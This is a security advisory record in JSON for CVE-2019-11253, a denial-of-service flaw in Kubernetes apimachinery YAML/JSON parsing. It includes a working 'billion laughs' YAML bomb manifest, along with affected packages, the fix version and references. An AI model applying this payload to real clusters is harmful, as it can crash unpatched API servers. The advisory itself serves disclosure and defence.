{"id":"GHSA-74fp-r6jw-h4mp","summary":"Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing","details":"CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. \n\nWhen creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a \"Billion Laughs\" attack which is quite well known as an XML parsing issue.\n\nApplying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.\n\n```yaml\napiVersion: v1\ndata:\n  a: &a [\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\"]\n  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\n  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\n  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\n  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\n  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\n  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\n  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\n  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\nkind: ConfigMap\nmetadata:\n  name: yaml-bomb\n  namespace: default\n```\n### Specific Go Packages Affected\n- k8s.io/apimachinery/pkg/runtime/serializer/json\n- k8s.io/apimachinery/pkg/util/json\n","aliases":["GO-2022-0965"],"modified":"2026-08-07T08:12:01.676448217Z","published":"2023-02-08T00:35:27Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2023-02-08T00:35:27Z","nvd_published_at":null,"cwe_ids":["CWE-20","CWE-776"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-11253"},{"type":"WEB","url":"https://github.com/kubernetes/kubernetes/issues/83253"},{"type":"WEB","url":"https://github.com/kubernetes/kubernetes/pull/83261"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pmqp-h87c-mr78"},{"type":"PACKAGE","url":"https://github.com/kubernetes/kubernetes"},{"type":"WEB","url":"https://groups.google.com/g/kubernetes-security-announce/c/jk8polzSUxs"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2022-0965"},{"type":"WEB","url":"https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sending-configmap"}],"affected":[{"package":{"name":"k8s.io/apimachinery","ecosystem":"Go","purl":"pkg:golang/k8s.io/apimachinery"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20190927203648-9ce6eca90e73"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/02/GHSA-74fp-r6jw-h4mp/GHSA-74fp-r6jw-h4mp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}